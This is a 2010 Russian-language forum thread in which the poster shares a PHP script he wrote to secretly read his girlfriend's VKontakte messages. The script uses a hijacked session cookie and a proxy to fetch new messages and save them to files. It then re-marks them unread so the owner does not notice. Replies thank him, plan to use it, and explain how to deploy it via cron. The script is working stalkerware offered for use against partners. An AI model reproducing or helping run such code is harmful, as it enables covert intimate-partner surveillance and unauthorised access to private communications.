[скрипт] Слежка за девушкой/парнем, чтение их массаг

Discussion in 'Социальные сети' started by kam, 2 Mar 2010.

  1. kam

    kam New Member

    Joined:
    19 Nov 2005
    Messages:
    5
    Likes Received:
    3
    Reputations:
    10
    вообщем, сталкнулся с ситуевиной, когда появилось подозрение что девушка изменяет...один раз глянул контакт её, там была массага о какой то встречи, через буквально 5-10 мин она её удалила...ну и захотелось организовать слежку за контактом любимой...был написан маленький скриптик...который через проксик подключаеться к контакту. логиниться, читает НОВЫЕ массаги, сохраняет их в файл, и ЗАНОГО помечает как "не прочитаные"

    ну узнал я много о ней ))
    вот собственно скрипт, пользуйтесь...

    Code:
    #!/usr/bin/php
    
    <?php
    
    ### дира, куда сохранять все это овно (последний слеш обязателен)
    $dir_save="/home/web/sites/kam/vk/msg/";
    $cooke="remixchk=5; remixsid=*****";
    
    
    function msg_read($mid,$uid){
          global $cooke;
            $proxy = "*****"; //прокси
            $port=8888;
    
        $fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
        if (!$fp){
            return "Error ";
        }
        $request = "GET http://vkontakte.ru/mail.php?act=show&id=".$mid." HTTP/1.0\r\n";
        $request .= "Host: http://vkontakte.ru\r\n";
        $request .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
        $request .= "Accept-Encoding: none, *;q=0\r\n";
        $request .= "Accept-Language: ru\r\n";
        $request .= "Connection: close\r\n";
        $request .= "Proxy-Connection: close\r\n";
        $request .= "Cookie: ".$cooke." \r\n";
        $request .= "Referer: http://vkontakte.ru/mail.php/\r\n";
        $request .= "User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
        #$request .= "\r\n";
    
        #$request .= "$data\r\n";
        $request .= "\r\n";
        #var_dump($request);
    
    
        @fwrite ($fp,$request);
    $out="";
       while (!feof($fp)) {
              $out .= fgets($fp, 128);
         }
    
    
      if(ereg("Content-Type: text/html;",$out))
      {
        #var_dump($out);
        $a=explode("Proxy-Connection: close",$out);
        return $a[1];
    
      }else{
    
            $a=explode("Proxy-Connection: close",$out);
            preg_match("/(Content-Type: )[^.]+/i",$a[0],$z);
            $z=explode("\n",$z[0]);
            #header(onlyChars($z[0]));
            return array(trim($z[0]),trim($a[1]));
    
    
      }
    
    
    
    fclose($fp);
    ### end function
    }
    
    
    function mark_unread($mid){
                  global $cooke;
            $proxy = "*****"; //прокси
            $port=8888;
    
        $fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
        if (!$fp){
            return "Error ";
        }
    
    
    $data="mark=new&mark_custom=&m_search=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA%20%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D0%B9&q=&d=&out=0&st=0&filter=all&post%5B".$mid."%5D=".$mid."\r\n\r\n";
        $request = "POST http://vkontakte.ru/mail.php?act=mark_msg HTTP/1.0\r\n";
    $request.="Host: http://vkontakte.ru\r\n";
    $request.="User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
    $request.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
    $request.="Accept-Language: ru\r\n";
    $request.="Accept-Encoding: none, *;q=0\r\n";
    $request.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n";
    $request.="Connection: close\r\n";
    $request.="Proxy-Connection: close\r\n";
    $request.="Referer: http://vkontakte.ru/mail.php\r\n";
    $request.="Cookie: ".$cooke."\r\n";
    $request.="Pragma: no-cache\r\n";
    $request.="Cache-Control: no-cache\r\n";
    $request.="Content-Length: ".strlen($data)."\r\n\r\n";
    $request.=$data."\r\n\r\n";
    
        #var_dump($request);
    
    
    
    
        @fwrite ($fp,$request);
    $out="";
       while (!feof($fp)) {
              $out .= fgets($fp, 128);
              #echo($out);
         }
         #echo($out);
    
         fclose($fp);
    #end function
    }
    function output_r ($host,$page,$data){
        global $cooke;
    
        if ($page==''){$page='/';}
        if($host == "vkontakte.ru"){
            $proxy = "*****"; //прокси
            $port=8888;
        }
        #else{
        #$proxy="192.168.5.2";
        #$port=3128;
        #}
        $fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
        if (!$fp){
            return "Error ";
        }
    
        $request = "GET http://$host/{$page}?{$data} HTTP/1.0\r\n";
        $request .= "Host: http://$host\r\n";
        $request .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
        $request .= "Accept-Encoding: none, *;q=0\r\n";
        $request .= "Accept-Language: ru\r\n";
        $request .= "Connection: close\r\n";
        $request .= "Proxy-Connection: close\r\n";
        $request .= "Cookie: ".$cooke." \r\n";
    
        $request .= "Referer: http://$host/\r\n";
        $request .= "User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
        #$request .= "\r\n";
    
        #$request .= "$data\r\n";
        $request .= "\r\n";
        #var_dump($request);
    
    
    
    
        @fwrite ($fp,$request);
    $out="";
       while (!feof($fp)) {
              $out .= fgets($fp, 128);
         }
    
    
      if(ereg("Content-Type: text/html;",$out))
      {
        #var_dump($out);
        $a=explode("Proxy-Connection: close",$out);
        return $a[1];
    
      }else{
    
            $a=explode("Proxy-Connection: close",$out);
            preg_match("/(Content-Type: )[^.]+/i",$a[0],$z);
            $z=explode("\n",$z[0]);
            #header(onlyChars($z[0]));
            return array(trim($z[0]),trim($a[1]));
    
    
      }
    
    fclose($fp);
    #end function
    }
    
    ##########################################################
    ########################################
    ########################
    ################
    ############ Вызов функций
    
    
    include('simple_html_dom.php'); 
    $zzz=output_r("vkontakte.ru","mail.php","id=".$_GET['id']);
    
    $zzz=trim(iconv("CP1251","UTF-8",$zzz));
    #$ar=explode("<tr class='newRow' id=",$zzz);
    #var_dump($ar);
    $i=0;
    $text = str_get_html($zzz);
    foreach ($text -> find('tr.newRow') as $temp){
        $temp=explode("<div class=\"name\">",$temp);
        $temp1=explode("<div class=\"date\">",$temp[1]);
        ##### Username/id
        $un_tmp=trim(str_replace(array('<a href="','">','</div>','</a>',"/id")," ",$temp1[0]));
        $un=explode("\n",$un_tmp);
        $un=trim($un[0]);
        $i++;
        ### message ID
        $mid=explode("<span>",$temp1[1]);
        $mid=explode("<td class=\"messageSnippet\"",$mid[0]);
        $mid=trim(str_replace(array("id=\"mb","\">"),"",$mid[1]));
    
    if(!file_exists($dir_save."in_".$mid))
    {
    $msg_page=trim(iconv("CP1251","UTF-8",msg_read($mid,$un)));
    $msg_text = str_get_html($msg_page);
    foreach ($msg_text -> find('td.messageText') as $msg_tmp){
        $exp=explode("<div style=\"width: 240px; overflow: hidden;\">",$msg_tmp);
        $exp=explode("</div>",$exp[1]);
        $exp=trim($exp[0]);
        $to_save=$un." (".$mid.") :  ".$exp."\r\n";
    ### Сохранение говна в файл
    $fsave = fopen($dir_save."in_".$mid, "w");
    fwrite($fsave, $to_save);
    fclose($fsave);
    
    #end foreach
    }
    
    sleep(2);
    mark_unread($mid);
    #end if file exist
    }
    #end foreach
        }
    
    
    
    ?>
    
    для скрипта нужна библиотека simple_html_dom.php, можно найти в гугле
    ну или скачать тут
    _http://trac.openpolis.it/openpolis/browser/trunk/lib/simple_html_dom.php?format=txt
    скрипт БЕЗ прокси не работает )...

    что умеет:
    Читать сообщения. сохранять в файл ( in_{$message_id} )
    после помечать их как прочитаные...
    также НЕ читает уже сохраненные масаги )))
    скрипт не светит человека то что он онлайн

    в планах: добавить логирование исходящих сообщений, добавить пометки типа сообщение из контакта было удаленно 0_о, чтобы легче было обратить внимание на нужно сообщение...

    Скрипт надо гонять по крону каждую минуту....хотя самое прикольное было бы гонять каждые 30 секунд...но да ладно )

    З.Ы. как запустить объеснять не буду, кому надо поймут ))
    З.Ы.Ы.Претендую на звание говно-кодер месяца, за эту поделку...писал для себя. так что писал как можно быстрее, скрипт написан был за час...
    З.Ы.Ы.Ы. готов принять критику по скрипту, и баг-фиксы )))
     
    #1 kam, 2 Mar 2010
    Last edited: 2 Mar 2010
  2. PaRaBe1LuM

    PaRaBe1LuM Member

    Joined:
    15 Jan 2010
    Messages:
    0
    Likes Received:
    10
    Reputations:
    5
    Спасибо, в коллекцию =)
     
  3. tiath

    tiath Member

    Joined:
    12 Dec 2009
    Messages:
    0
    Likes Received:
    18
    Reputations:
    0
    Хорошо что я не девушка :eek:
    за скрипт спасиб огромное, применим.
     
  4. StiXy24

    StiXy24 Member

    Joined:
    18 Dec 2009
    Messages:
    0
    Likes Received:
    6
    Reputations:
    0
    Вот это я понимаю скрипт, это вам не какой нибудь комбайн. Ваще жесть, автар это зачёт полюбому)))))
     
  5. Дедушка

    Дедушка Active Member

    Joined:
    3 Sep 2009
    Messages:
    0
    Likes Received:
    120
    Reputations:
    11
  6. оlbaneс

    оlbaneс Moderator

    Joined:
    5 Nov 2007
    Messages:
    1,376
    Likes Received:
    1,094
    Reputations:
    356
    будете оффтопить тему закрою. тема для З.Ы.Ы.Ы. готов принять критику по скрипту, и баг-фиксы )))
     
    _________________________
  7. VirGod

    VirGod Member

    Joined:
    28 Aug 2009
    Messages:
    9
    Likes Received:
    10
    Reputations:
    0
    TC спс, полезная вещь.
     
  8. nuBo

    nuBo Elder - Старейшина

    Joined:
    29 Dec 2008
    Messages:
    53
    Likes Received:
    84
    Reputations:
    53
    какой php нужен?
    и что означают эти строки?
    PHP:
    $proxy "*****"//прокси
            
    $port=8888;
        }
        
    #else{
        #$proxy="192.168.5.2";
        #$port=3128;
     
    #8 nuBo, 3 Mar 2010
    Last edited: 3 Mar 2010
  9. *DeViL*

    *DeViL* Banned

    Joined:
    27 Nov 2007
    Messages:
    169
    Likes Received:
    56
    Reputations:
    0
    ТС, спасибо! Только планировал такой скрипт заказывать! Огромное спасибо!)
     
  10. -PsychonauT-

    -PsychonauT- Member

    Joined:
    23 Aug 2009
    Messages:
    0
    Likes Received:
    67
    Reputations:
    -1
    Дедушка решил молодость вспомнить :D
     
  11. *DeViL*

    *DeViL* Banned

    Joined:
    27 Nov 2007
    Messages:
    169
    Likes Received:
    56
    Reputations:
    0
    Warning: fsockopen() [function.fsockopen]: unable to connect to 76.114.219.113:8085 (Connection timed out) in

    прокси живой. в чем трабл? http прокс вообще держит? или socks

    ЗЫ забыл, что прокси нужны валидные для вк) тестим..
     
    #11 *DeViL*, 3 Mar 2010
    Last edited: 3 Mar 2010
  12. k3naks

    k3naks New Member

    Joined:
    15 Nov 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Пожалуйста подскажите как использовать.
     
  13. *DeViL*

    *DeViL* Banned

    Joined:
    27 Nov 2007
    Messages:
    169
    Likes Received:
    56
    Reputations:
    0
    настой скрипт, затем заливай библиотеку с настроенным скриптом на хост, ставь автозапуск в кроне и радуйся жизни)
     
  14. k3naks

    k3naks New Member

    Joined:
    15 Nov 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    *DeViL*
    Пожалуйста объясни подробнее, извини за нубство.)
     
  15. k3naks

    k3naks New Member

    Joined:
    15 Nov 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Пожалуйста, объясните кто-нибудь, как использовать скрипт.
     
  16. aka_maestro

    aka_maestro Фрикер

    Joined:
    11 Jan 2010
    Messages:
    388
    Likes Received:
    74
    Reputations:
    104
    да для меня тёмный лес...подскажите добрые люди
     
  17. pipetos

    pipetos New Member

    Joined:
    6 Mar 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Подскажите кто-нибудь как исправить косяки в 165, 184 и 186 строках
     
  18. pipetos

    pipetos New Member

    Joined:
    6 Mar 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Тут есть та же статья http://allcheats.ru/t159521/
     
  19. Xantalion

    Xantalion New Member

    Joined:
    16 Feb 2008
    Messages:
    26
    Likes Received:
    1
    Reputations:
    3
    А почему может выдавать такую ошибку?

    #!/usr/bin/php
    Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /home/hop/i/l/o/iloveyou/public_html/simple_html_dom.php on line 65

    PHP:
    public $nodetype HDOM_TYPE_TEXT;
     
    #19 Xantalion, 7 Mar 2010
    Last edited: 8 Mar 2010
  20. fab31

    fab31 New Member

    Joined:
    25 Jan 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Wow...это, конечно, видимо ооч. круто.., но действительно.., как этим пользоваться))
    Тоже не рублю в информатике.., но уж оч. любопытновсе это))